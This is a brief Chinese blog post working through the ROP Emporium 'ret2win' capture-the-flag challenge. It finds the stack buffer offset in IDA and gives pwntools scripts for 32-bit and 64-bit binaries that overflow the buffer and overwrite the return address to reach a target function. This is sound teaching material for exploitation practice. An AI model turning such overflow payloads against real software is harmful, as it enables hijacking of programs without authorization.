ret2win

2018-12-31  本文已影响0人  n0va

ROP Emporium : https://ropemporium.com/

image.png

放到IDA很容易就找到溢出点

char s; // [esp+0h] [ebp-28h] 
可以看出s距ebp的偏移量为0x28
所以我们写入0x28正好可以写到ebp之前,要覆盖ebp还需要再写入4个字节(32位)

有一点值得引起注意,我们回车换行符同样会输入进去,明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在之前我们还应该检查一下程序开户了哪些保护,这决定了我们该采取何种rop攻击方式

image.png

exp 如下 :

from pwn import *
sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28 + p32(0) + p32(ret2win32)
sh.sendline(payload)
sh.interactive()

64位的溢出点也一样
exp:

from pwn import *
sh = process('./ret2win')
ret2win = 0x400811
payload = "A" * 0x20 + p64(0) + p64(ret2win)
sh.sendline(payload)
sh.interactive()
上一篇下一篇

猜你喜欢

热点阅读